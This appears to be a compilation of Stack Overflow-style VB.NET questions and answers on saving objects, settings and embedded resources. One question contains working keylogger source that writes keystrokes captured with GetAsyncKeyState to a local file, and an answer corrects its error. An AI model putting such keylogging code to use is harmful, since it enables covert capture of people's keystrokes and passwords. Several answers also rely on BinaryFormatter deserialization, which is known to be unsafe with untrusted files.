I need to save created object into Windows Registry and after reopening application to read it? I know how to save and read string but this is complex object.
Any idea?
You maybe want to use a XmlSerializer (or other serializers). It's easy to use, and the documentation is full of examples.
But why storing it in the registry?
Better use Application Settings and User Settings.
EDIT:
Instead of the registry, save your object to a file in the ApplicationData directory of the user. You can get the path to this directory with
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
Full example:
Imports System.IO
Imports System.Xml.Serialization
Module Module1
Public Class MySuperClass
Public Property MyString() As String
Public Property MyInt() As Int32
End Class
Public Sub Main(ByVal args() As String)
Dim myFolder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyApplication")
If Not Directory.Exists(myFolder) Then
Directory.CreateDirectory(myFolder)
End If
Dim myFile = Path.Combine(myFolder, "MySettings.txt")
Dim o = New MySuperClass With {.MyString = "Hi!", .MyInt = 42}
Dim x = New XmlSerializer(GetType(MySuperClass))
Using sr = New StreamWriter(myFile)
' Save directly to file
x.Serialize(sr, o)
End Using
' for demonstrating purpose
o = Nothing
Using sr = New StreamReader(myFile)
' Load directly from file
o = CType(x.Deserialize(sr), MySuperClass)
End Using
End Sub
End Module
Related
I am trying to create a basic keylogging program. I am interested in cyber security and want to learn more. I have hashed together the code below from various sources.
The line text = converter.ToString(i) generates an index out of bounds error.
I am thinking that this is because the object converter has not been instantiated as it should?? But how to fix it?
Imports System.IO
Imports System.Text
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Imports System.Threading
Module Module1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Sub Main()
Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
filepath &= "\LogsFolder\"
If (Not Directory.Exists(filepath)) Then
Directory.CreateDirectory(filepath)
End If
Dim Path = (filepath & "LoggedKeys.text")
If Not File.Exists(Path) Then
Using sw As StreamWriter = File.CreateText(Path)
End Using
End If
Dim Converter = New KeysConverter()
Dim text As String = ""
While (True)
Thread.Sleep(5)
For i As Integer = 0 To 1999
Dim key = GetAsyncKeyState(i)
If key = 1 Or key = -32767 Then
text = converter.ToString(i)
Using sw As StreamWriter = File.AppendText(Path)
sw.WriteLine(text)
End Using
Exit For
End If
Next
End While
End Sub
End Module
Looks like you're looking for the ConvertToString method.
Replace the following line:
text = converter.ToString(i)
With:
text = converter.ConvertToString(i)
Edit to address your concerns in the comments:
I get a syntax error, 'ConvertToString' is not a member of KeysConverter... it sounds like my instantiation has not worked.
Hover with the mouse cursor over your Converter variable and double-check its type. Make sure that KeysConverter actually is the System.Windows.Forms.KeysConverter class and not some kind of a local generated class.
MyImports System.Windows.Forms statement is ghosted - suggesting that its never used.
That's what I suspected. You seem to be in a Console application and you're accessing a class within the System.Windows.Forms namespace which is not included in the Console app. You need to add a reference to System.Windows.Forms.dll as explained in this answer.
Also, make sure you locate and delete the generated KeysConverter class from your project so you avoid conflicts.
I'v seen a lot of answers here on stackoverflow, but none of them help me with exactly what i need and almost all of them in C# when i need VB, so i hope someone will help me with my problem, which is this :
I have compiled a exe file in vb.net using CodeDOM, and i added two dll file to its resources and that worked just fine and you can even notice that the size of the exe has increase after adding the resources, but when i run the exe file like that My.Resources.Touchless, it gives me an error saying that
"Resources" is not a member of "My".
And what i need is to read these dll files from the compiled exe file and then extract them using File.WriteAllBytes()..., if i didn't try to extract the files from the resources and instead of that i copied them manually to the executable path, the application will work perfectly, so the problem is just with trying to call the dll files from the resources.
Here is some code :
Public Shared Function Compile(ByVal Output As String, ByVal Source As String, ByVal Icon As String, ByVal resources As String) As Boolean
Dim Parameters As New CompilerParameters()
Dim cResults As CompilerResults = Nothing
Dim Compiler As CodeDomProvider = CodeDomProvider.CreateProvider("VB")
Parameters.GenerateExecutable = True
Parameters.TreatWarningsAsErrors = False
Parameters.OutputAssembly = Output
Parameters.MainClass = "MyNamespace.MainWindow"
Parameters.EmbeddedResources.Add(Path.GetTempPath & "TouchlessLib.dll")
Parameters.EmbeddedResources.Add(Path.GetTempPath & "WebCamLib.dll")
Parameters.ReferencedAssemblies.AddRange(New String() {"System.dll", "System.Drawing.dll", "System.Windows.Forms.dll", "System.Management.dll", Path.GetTempPath & "TouchlessLib.dll"})
Parameters.CompilerOptions = "/platform:x86 /target:winexe"
If Not String.IsNullOrEmpty(Icon) Then
File.Copy(Icon, "icon.ico")
Parameters.CompilerOptions += " /win32icon:" & "icon.ico"
End If
cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)
If cResults.Errors.Count > 0 Then
For Each compile_error As CompilerError In cResults.Errors
Dim [error] As CompilerError = compile_error
Console.Beep()
MsgBox("Error: " & [error].ErrorText & vbCr & vbLf & [error].Line)
Next
Return False
End If
If Not (String.IsNullOrEmpty(Icon)) Then
File.Delete("icon.ico")
End If
Return True
End Function
When i call them from the compiled exe file like this :
File.WriteAllBytes(Application.StartupPath & "\TouchlessLib.dll", My.Resources.TouchlessLib)
File.WriteAllBytes(Application.StartupPath & "\WebCamLib.dll", My.Resources.WebCamLib)
... i get the following error message :
"Resources" is not a member of "My".
Try adding this class:
Imports System.Dynamic
Imports System.Reflection
Public Class DynamicResources
Inherits DynamicObject
Public Overrides Function TryGetMember(binder As GetMemberBinder, ByRef result As Object) As Boolean
Dim asm As Assembly = Assembly.GetExecutingAssembly()
Dim resouceNames As String() = asm.GetManifestResourceNames
For Each s As String In resouceNames
Dim name As String = IO.Path.GetFileNameWithoutExtension(s)
Dim Manager As New Resources.ResourceManager(name, asm)
Try
Dim resource = Manager.GetObject(binder.Name)
If Not resource Is Nothing Then
result = resource
Return True
End If
Catch ex As Exception
End Try
Next
Return False
End Function
End Class
You can use it like this:
Dim root as string=Application.StartupPath
File.WriteAllBytes(Path.Combine(root, "TouchlessLib.dll"), DynamicResources.TouchlessLib)
File.WriteAllBytes(Path.Combine(root, "WebCamLib.dll"), DynamicResources.WebCamLib)
The My namespace and any associated functionality is created via auto-generated code. Since your code is now the code generator and not the IDE, you will not have those niceties unless your code provides it.
To extract an embedded resource, you need to include code similar to the following in the source code you are compiling with CodeDOM.
Dim asm As Assembly = Assembly.GetExecutingAssembly()
Dim resouceNames As String() = asm.GetManifestResourceNames
For Each s As String In resouceNames
Dim fi As New FileInfo(s)
Using strm As Stream = asm.GetManifestResourceStream(s)
Using fs As Stream = fi.Create()
strm.CopyTo(fs)
End Using
End Using
Next
Make sure that you also include:
Imports System.Reflection
Imports System.IO
This code retrieves the executing Assembly obtains an array of embedded resource names. It then calls GetManifestResourceStream method to get the named resource as a stream. This stream is copied to a file stream.
Modify the example to suite your needs.
Note that I have not included any error checking/handling in this example. Anything dealing with IO should have some error handling.
Edit:
Based on the comment below, it appears that only a copy/paste type answer will do for the OP.
Dim asm As Assembly = Assembly.GetExecutingAssembly()
Dim resourceName As String
Dim fi As FileInfo
resourceName = "TouchlessLib.dll"
fi = New FileInfo(Path.Combine(System.AppDomain.CurrentDomain.BaseDirectory, resourceName))
Using strm As Stream = asm.GetManifestResourceStream(resourceName)
Using fs As Stream = fi.Create()
strm.CopyTo(fs)
End Using
End Using
I'm using visual studio 2015.
I'm clearly missing some things...
I want to create a global filestream and stream writer.
Dim wFile As System.IO.FileStream = New FileStream _
("C:\inetpub\wwwroot\SummitMap1Local\Labels\BufferedData.txt", FileMode.Append)
Dim sw As New StreamWriter(wFile)
This works fine. BUT I need to access it globally. Ideally the code would be in its own .aspx file and the wFile and sw objects could be used in a different .aspx file.
Thanks
(odd that I need to edit my original post to add new info)
I am now trying to add a class based on info from MSDN. It's not working. Code -
Imports System
Imports System.IO
Imports System.Text
Public Class test
Public Shared Sub CreateFileStream()
Dim fs As FileStream = New FileStream("C:\inetpub\wwwroot\SummitMap1Local\Labels\BufferedData.txt", FileMode.Append
End Sub
End Class
Then trying to use the class in a function -
Protected Function bufferList(ByVal testData As String) As String
Try
Dim sw As New StreamWriter(fs)
sw.WriteLine(testData)
End Try
End Function
I get an error on 'Dim sw As New StreamWriter(fs)' fs is not declared. It may be inaccessible due to it's protection level
I've tried calling it with test.fs, but test does not have an fs property.
I'm currently building a program which requires numerous staff to use my program and the program is located on a shared drive on the network so all users can access the program. In my program I have a Database which I use to manage all the user accounts and other information. When you run the program for the first time ever on the network, it asks the administrator where to create the database. After the program creates the database, I save the connection string to a string variable in a class module within my program. However once I exit the program the value I set the to the string variable in the class gets erased. Is there a way to prevent the string from losing its value after closing the program ? I know I could do this via my.settings but I don't want to do it that way.
You can make your own settings file using a binary serializer.
This method can be used to store an instance of your settings class to a file, which is not very human-readable. If human readability and editability is required, you could use an xml serializer instead. The settings file will reside in the application directory. You can control this with the variable settingsFileName.
Create a new console application and paste the code below. Run it a couple of times and note that the "connection string" is persisted through application close and open.
Imports System.IO
Imports System.Runtime.Serialization.Formatters.Binary
Module Module1
Private settingsFileName As String = "Settings.bin"
Private mySettingsClass As SettingsClass
Private Sub loadSettings()
Dim formatter As New BinaryFormatter()
If File.Exists(settingsFileName) Then
Using stream As New FileStream(settingsFileName, FileMode.Open)
mySettingsClass = CType(formatter.Deserialize(stream), SettingsClass)
End Using
Else
Using Stream As New FileStream(settingsFileName, FileMode.CreateNew)
mySettingsClass = New SettingsClass()
formatter.Serialize(Stream, mySettingsClass)
End Using
End If
End Sub
Private Sub saveSettings()
Dim formatter As New BinaryFormatter()
If File.Exists(settingsFileName) Then
Using stream As New FileStream(settingsFileName, FileMode.Truncate)
formatter.Serialize(stream, mySettingsClass)
End Using
Else
Using stream As New FileStream(settingsFileName, FileMode.CreateNew)
formatter.Serialize(stream, mySettingsClass)
End Using
End If
End Sub
<Serializable>
Public Class SettingsClass
Public Property ConnectionString As String = ""
End Class
Sub Main()
Console.WriteLine("Loading settings...")
loadSettings()
Dim connectionString = mySettingsClass.ConnectionString
Console.WriteLine("Connection string: ""{0}""", connectionString)
Console.WriteLine("Enter new connection string...")
mySettingsClass.ConnectionString = Console.ReadLine()
Console.WriteLine("Saving settings...")
saveSettings()
Console.WriteLine("Done!")
Console.ReadLine()
End Sub
End Module
Add additional properties to SettingsClass which can be used elsewhere in your application.
I need some help for the project I am working on for my internship.
In the VB project, I have a windows form (Form1.vb) with a custom user control called WaveForm1 (which acts like the graph of an oscilloscope). I can run the VB program and assign values to the channels to get the wave forms in the WaveForm1 user control when the project is running.
Then, I need to save the WaveForm1 together with the Channels plotted in the graph under a custom file extension (.gph, .wfm ,..) using a SaveFileDialog.
The saved file should be able to open in the vb project when it is opened with a button (btnOpen) by using a OpenFileDialog.
How the file is opened in the project doesn't matter as long as the saved graph can be viewed. ( Example, the saved file can be viewed in another WaveForm2 control in Form1.vb or it can be viewed in a separate window form.) It would also be fine if the whole formed can be saved and opened again from the project with the btnOpen button control.
I have searched about custom file creations & saving files and all I could find were how to save text files, excel files or images using a StreamWriter/Reader, binaryReader/Writer, and so on.
I would really appreciate any help regarding saving anything other than text files or drawings.
Please feel free to confirm with me if you are not clear about my questions.
You should try to create a class with some properties then you can save that class using BinarryFormatter. You can give your custom extension to that class and save it through SaveFileDialog and open it by OpenFileDialog.
Class
<Serializable()>
Public Class myGraph
Private _value1 As String
Public Property Value1 As String
Get
Return _value1
End Get
Set(value As String)
_value1 = value
End Set
End Property
Private _value2 As String
Public Property Value2 As String
Get
Return _value2
End Get
Set(value As String)
_value2 = value
End Set
End Property
Private _value3 As String
Public Property Value3 As String
Get
Return _value3
End Get
Set(value As String)
_value3 = value
End Set
End Property
End Class
Method to to Save and Load File
''To Save file
Public Sub SaveFile(GRAPH_1 As myGraph)
''To Save File
Dim dlgSave As New SaveFileDialog
dlgSave.Filter = "My File|*.grp"
dlgSave.DefaultExt = ".gpr"
If dlgSave.ShowDialog = Windows.Forms.DialogResult.OK Then
Dim formatter As New BinaryFormatter
Using stream As New MemoryStream
formatter.Serialize(stream, GRAPH_1)
Using sw As New FileStream(dlgSave.FileName, FileMode.Create)
Dim data() As Byte = stream.ToArray()
sw.Write(data, 0, data.Length)
End Using
End Using
End If
End Sub
''To Load fie
Public Function LoadFile() As myGraph
Dim GRAPH_2 As myGraph = Nothing
Dim dlgOpen As New OpenFileDialog
dlgOpen.Filter = "My File|*.grp"
If dlgOpen.ShowDialog = Windows.Forms.DialogResult.OK Then
Dim formatter As New BinaryFormatter
Using stream As New FileStream(dlgOpen.FileName, FileMode.Open)
GRAPH_2 = TryCast(formatter.Deserialize(stream), myGraph)
End Using
End If
Return GRAPH_2
End Function
How to Use File
''To Save File
Dim GRAPH_1 As New myGraph
With GRAPH_1
.Value1 = "ABC"
.Value2 = "XYZ"
.Value3 = "PQR"
End With
SaveFile(GRAPH_1)
''ToLoad File
Dim GRAPH_2 As myGraph = LoadFile()
If GRAPH_2 IsNot Nothing Then
''Place your code here
''And assign values to your graph from that (myGraph)class.
End If